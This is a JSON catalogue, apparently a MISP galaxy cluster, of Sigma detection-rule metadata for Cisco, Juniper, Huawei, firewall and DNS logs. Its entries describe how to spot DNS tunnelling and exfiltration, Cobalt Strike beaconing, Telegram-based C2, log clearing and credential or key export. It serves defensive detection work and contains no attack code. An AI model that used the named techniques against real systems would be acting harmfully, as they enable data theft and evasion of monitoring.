{ "authors": [ "@Joseliyo_Jstnk" ], "category": "rules", "description": "MISP galaxy cluster based on Sigma Rules.", "name": "Sigma-Rules", "source": "https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma", "type": "sigma-rules", "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", "values": [ { "description": "Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.", "meta": { "author": "Tim Brown", "creation_date": "2023/01/09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], "filename": "juniper_bgp_missing_md5.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "juniper", "refs": [ "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/juniper/bgp/juniper_bgp_missing_md5.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.credential_access", "attack.collection", "attack.t1078", "attack.t1110", "attack.t1557" ] }, "uuid": "a7c0ae48-8df8-42bf-91bd-2ea57e2f9d43", "value": "Juniper BGP Missing MD5" }, { "description": "Detects many failed connection attempts to different ports or hosts", "meta": { "author": "Thomas Patzke", "creation_date": "2017/02/19", "falsepositive": [ "Inventarization systems", "Vulnerability scans" ], "filename": "net_firewall_susp_network_scan_by_port.yml", "level": "medium", "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_port.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "fab0ddf0-b8a9-4d70-91ce-a20547209afb", "value": "Network Scans Count By Destination Port" }, { "description": "High DNS requests amount from host per short period of time", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate high DNS requests rate to domain name which should be added to whitelist" ], "filename": "net_firewall_high_dns_requests_rate.yml", "level": "medium", "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_requests_rate.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "51186749-7415-46be-90e5-6914865c825a", "value": "High DNS Requests Rate - Firewall" }, { "description": "Detects many failed connection attempts to different ports or hosts", "meta": { "author": "Thomas Patzke", "creation_date": "2017/02/19", "falsepositive": [ "Inventarization systems", "Vulnerability scans" ], "filename": "net_firewall_susp_network_scan_by_ip.yml", "level": "medium", "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_ip.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "4601eaec-6b45-4052-ad32-2d96d26ce0d8", "value": "Network Scans Count By Destination IP" }, { "description": "High DNS queries bytes amount from host per short period of time", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" ], "filename": "net_firewall_high_dns_bytes_out.yml", "level": "medium", "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_bytes_out.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3b6e327d-8649-4102-993f-d25786481589", "value": "High DNS Bytes Out - Firewall" }, { "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton", "creation_date": "2019/03/26", "falsepositive": [ "Unknown" ], "filename": "net_firewall_cleartext_protocols.yml", "level": "low", "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_cleartext_protocols.yml" ], "tags": "No established tags" }, "uuid": "d7fb8f0e-bd5f-45c2-b467-19571c490d7e", "value": "Cleartext Protocol Usage" }, { "description": "Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools", "meta": { "author": "Florian Roth", "creation_date": "2017/04/15", "falsepositive": [ "Unknown" ], "filename": "net_firewall_apt_equationgroup_c2.yml", "level": "high", "logsource.category": "firewall", "logsource.product": "No established product", "refs": [ "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195", "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml" ], "tags": [ "attack.command_and_control", "attack.g0020", "attack.t1041" ] }, "related": [ { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "881834a4-6659-4773-821e-1c151789d873", "value": "Equation Group C2 Communication" }, { "description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", "meta": { "author": "Florian Roth", "creation_date": "2018/06/05", "falsepositive": [ "Legitimate use of Telegram bots in the company" ], "filename": "net_dns_susp_telegram_api.yml", "level": "medium", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://core.telegram.org/bots/faq", "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" ], "tags": [ "attack.command_and_control", "attack.t1102.002" ] }, "related": [ { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c64c5175-5189-431b-a55e-6d9882158251", "value": "Telegram Bot API Request" }, { "description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", "meta": { "author": "Florian Roth, Matt Kelly (list of domains)", "creation_date": "2022/06/07", "falsepositive": [ "Unknown" ], "filename": "net_dns_external_service_interaction_domains.yml", "level": "high", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://twitter.com/breakersall/status/1533493587828260866", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.reconnaissance", "attack.t1595.002" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aff715fa-4dd5-497a-8db3-910bea555566", "value": "DNS Query to External Service Interaction Domains" }, { "description": "Detects suspicious DNS queries known from Cobalt Strike beacons", "meta": { "author": "Florian Roth", "creation_date": "2018/05/10", "falsepositive": [ "Unknown" ], "filename": "net_dns_mal_cobaltstrike.yml", "level": "critical", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2975af79-28c4-4d2f-a951-9095f229df29", "value": "Cobalt Strike DNS Beaconing" }, { "description": "High DNS queries bytes amount from host per short period of time", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" ], "filename": "net_dns_high_bytes_out.yml", "level": "medium", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_bytes_out.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0f6c1bf5-70a5-4963-aef9-aab1eefb50bd", "value": "High DNS Bytes Out" }, { "description": "Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate high DNS NULL requests rate to domain name which should be added to whitelist" ], "filename": "net_dns_high_null_records_requests_rate.yml", "level": "medium", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_null_records_requests_rate.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "44ae5117-9c44-40cf-9c7c-7edad385ca70", "value": "High NULL Records Requests Rate" }, { "description": "Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.", "meta": { "author": "Patrick Bareiss", "creation_date": "2019/04/07", "falsepositive": [ "Valid software, which uses dns for transferring data" ], "filename": "net_dns_c2_detection.yml", "level": "high", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://zeltser.com/c2-dns-tunneling/", "https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.004", "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ec4b281-aa65-46a2-bdae-5fd830ed914e", "value": "Possible DNS Tunneling" }, { "description": "Detects strings used in command execution in DNS TXT Answer", "meta": { "author": "Markus Neis", "creation_date": "2018/08/08", "falsepositive": [ "Unknown" ], "filename": "net_dns_susp_txt_exec_strings.yml", "level": "high", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", "https://twitter.com/stvemillertime/status/1024707932447854592", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8ae51330-899c-4641-8125-e39f2e07da72", "value": "DNS TXT Answer with Possible Execution Strings" }, { "description": "Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate high DNS TXT requests rate to domain name which should be added to whitelist" ], "filename": "net_dns_high_txt_records_requests_rate.yml", "level": "medium", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_txt_records_requests_rate.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0a8cedc-1d22-4453-9c44-8d9f4ebd5d35", "value": "High TXT Records Requests Rate" }, { "description": "Detects suspicious DNS queries using base64 encoding", "meta": { "author": "Florian Roth", "creation_date": "2018/05/10", "falsepositive": [ "Unknown" ], "filename": "net_dns_susp_b64_queries.yml", "level": "medium", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://github.com/krmaxwell/dns-exfiltration", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4153a907-2451-4e4f-a578-c52bb6881432", "value": "Suspicious DNS Query with B64 Encoded String" }, { "description": "High DNS requests amount from host per short period of time", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate high DNS requests rate to domain name which should be added to whitelist" ], "filename": "net_dns_high_requests_rate.yml", "level": "medium", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_requests_rate.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003", "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b4163085-4001-46a3-a79a-55d8bbbc7a3a", "value": "High DNS Requests Rate" }, { "description": "Detects wannacry killswitch domain dns queries", "meta": { "author": "Mike Wade", "creation_date": "2020/09/16", "falsepositive": [ "Analyst testing" ], "filename": "net_dns_wannacry_killswitch_domain.yml", "level": "high", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://www.fireeye.com/blog/products-and-services/2017/05/wannacry-ransomware-campaign.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3eaf6218-3bed-4d8a-8707-274096f12a18", "value": "Wannacry Killswitch Domain" }, { "description": "Detects suspicious DNS queries to Monero mining pools", "meta": { "author": "Florian Roth", "creation_date": "2021/10/24", "falsepositive": [ "Legitimate crypto coin mining" ], "filename": "net_dns_pua_cryptocoin_mining_xmr.yml", "level": "high", "logsource.category": "dns", "logsource.product": "No established product", "refs": [ "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml" ], "tags": [ "attack.impact", "attack.t1496", "attack.t1567" ] }, "related": [ { "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b593fd50-7335-4682-a36c-4edcb68e4641", "value": "Monero Crypto Coin Mining Pool Lookup" }, { "description": "Find information about network devices that is not stored in config files", "meta": { "author": "Austin Clark", "creation_date": "2019/08/12", "falsepositive": [ "Commonly used by administrators for troubleshooting" ], "filename": "cisco_cli_discovery.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1083", "attack.t1201", "attack.t1057", "attack.t1018", "attack.t1082", "attack.t1016", "attack.t1049", "attack.t1033", "attack.t1124" ] }, "related": [ { "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9705a6a1-6db6-4a16-a987-15b7151e299b", "value": "Cisco Discovery" }, { "description": "Modifications to a config that will serve an adversary's impacts or persistence", "meta": { "author": "Austin Clark", "creation_date": "2019/08/12", "falsepositive": [ "Legitimate administrators may run these commands" ], "filename": "cisco_cli_modify_config.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_modify_config.yml" ], "tags": [ "attack.persistence", "attack.impact", "attack.t1490", "attack.t1505", "attack.t1565.002", "attack.t1053" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d0613359-5781-4fd2-b5be-c269270be1f6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "671ffc77-50a7-464f-9e3d-9ea2b493b26b", "value": "Cisco Modify Configuration" }, { "description": "See what files are being deleted from flash file systems", "meta": { "author": "Austin Clark", "creation_date": "2019/08/12", "falsepositive": [ "Will be used sometimes by admins to clean up local flash space" ], "filename": "cisco_cli_file_deletion.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml" ], "tags": [ "attack.defense_evasion", "attack.impact", "attack.t1070.004", "attack.t1561.001", "attack.t1561.002" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "71d65515-c436-43c0-841b-236b1f32c21e", "value": "Cisco File Deletion" }, { "description": "Various protocols maybe used to put data on the device for exfil or infil", "meta": { "author": "Austin Clark", "creation_date": "2019/08/12", "falsepositive": [ "Generally used to copy configs or IOS images" ], "filename": "cisco_cli_moving_data.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml" ], "tags": [ "attack.collection", "attack.lateral_movement", "attack.command_and_control", "attack.exfiltration", "attack.t1074", "attack.t1105", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5e51acb2-bcbe-435b-99c6-0e3cd5e2aa59", "value": "Cisco Stage Data" }, { "description": "See what commands are being input into the device by other people, full credentials can be in the history", "meta": { "author": "Austin Clark", "creation_date": "2019/08/11", "falsepositive": [ "Not commonly run by administrators, especially if remote logging is configured" ], "filename": "cisco_cli_input_capture.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml" ], "tags": [ "attack.credential_access", "attack.t1552.003" ] }, "related": [ { "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b", "value": "Cisco Show Commands Input" }, { "description": "Collect pertinent data from the configuration files", "meta": { "author": "Austin Clark", "creation_date": "2019/08/11", "falsepositive": [ "Commonly run by administrators" ], "filename": "cisco_cli_collect_data.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml" ], "tags": [ "attack.discovery", "attack.credential_access", "attack.collection", "attack.t1087.001", "attack.t1552.001", "attack.t1005" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd072b25-a418-4f98-8ebc-5093fb38fe1a", "value": "Cisco Collect Data" }, { "description": "Turn off logging locally or remote", "meta": { "author": "Austin Clark", "creation_date": "2019/08/11", "falsepositive": [ "Unknown" ], "filename": "cisco_cli_disable_logging.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "9e8f6035-88bf-4a63-96b6-b17c0508257e", "value": "Cisco Disabling Logging" }, { "description": "Detect a system being shutdown or put into different boot mode", "meta": { "author": "Austin Clark", "creation_date": "2019/08/15", "falsepositive": [ "Legitimate administrators may run these commands, though rarely." ], "filename": "cisco_cli_dos.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml" ], "tags": [ "attack.impact", "attack.t1495", "attack.t1529", "attack.t1565.001" ] }, "related": [ { "dest-uuid": "f5bb433e-bdf6-4781-84bc-35e97e43be89", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d94a35f0-7a29-45f6-90a0-80df6159967c", "value": "Cisco Denial of Service" }, { "description": "Show when a monitor or a span/rspan is setup or modified", "meta": { "author": "Austin Clark", "creation_date": "2019/08/11", "falsepositive": [ "Admins may setup new or modify old spans, or use a monitor for troubleshooting" ], "filename": "cisco_cli_net_sniff.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml" ], "tags": [ "attack.credential_access", "attack.discovery", "attack.t1040" ] }, "uuid": "b9e1f193-d236-4451-aaae-2f3d2102120d", "value": "Cisco Sniffing" }, { "description": "Find local accounts being created or modified as well as remote authentication configurations", "meta": { "author": "Austin Clark", "creation_date": "2019/08/12", "falsepositive": [ "When remote authentication is in place, this should not change often" ], "filename": "cisco_cli_local_accounts.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml" ], "tags": [ "attack.persistence", "attack.t1136.001", "attack.t1098" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6d844f0f-1c18-41af-8f19-33e7654edfc3", "value": "Cisco Local Accounts" }, { "description": "Show when private keys are being exported from the device, or when new certificates are installed", "meta": { "author": "Austin Clark", "creation_date": "2019/08/12", "falsepositive": [ "Not commonly run by administrators. Also whitelist your known good certificates" ], "filename": "cisco_cli_crypto_actions.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml" ], "tags": [ "attack.credential_access", "attack.defense_evasion", "attack.t1553.004", "attack.t1552.004" ] }, "related": [ { "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1f978c6a-4415-47fb-aca5-736a44d7ca3d", "value": "Cisco Crypto Commands" }, { "description": "Clear command history in network OS which is used for defense evasion", "meta": { "author": "Austin Clark", "creation_date": "2019/08/12", "falsepositive": [ "Legitimate administrators may run these commands" ], "filename": "cisco_cli_clear_logs.yml", "level": "high", "logsource.category": "accounting", "logsource.product": "cisco", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.003" ] }, "related": [ { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ceb407f6-8277-439b-951f-e4210e3ed956", "value": "Cisco Clear Logs" }, { "description": "Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels", "meta": { "author": "Tim Brown", "creation_date": "2023/01/09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], "filename": "cisco_ldp_md5_auth_failed.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/ldp/cisco_ldp_md5_auth_failed.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.credential_access", "attack.collection", "attack.t1078", "attack.t1110", "attack.t1557" ] }, "uuid": "50e606bf-04ce-4ca7-9d54-3449494bbd4b", "value": "Cisco LDP Authentication Failures" }, { "description": "Detects BGP failures which may be indicative of brute force attacks to manipulate routing", "meta": { "author": "Tim Brown", "creation_date": "2023/01/09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], "filename": "cisco_bgp_md5_auth_failed.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/bgp/cisco_bgp_md5_auth_failed.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.credential_access", "attack.collection", "attack.t1078", "attack.t1110", "attack.t1557" ] }, "uuid": "56fa3cd6-f8d6-4520-a8c7-607292971886", "value": "Cisco BGP Authentication Failures" }, { "description": "Detects BGP failures which may be indicative of brute force attacks to manipulate routing.", "meta": { "author": "Tim Brown", "creation_date": "2023/01/09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], "filename": "huawei_bgp_auth_failed.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "huawei", "refs": [ "https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf", 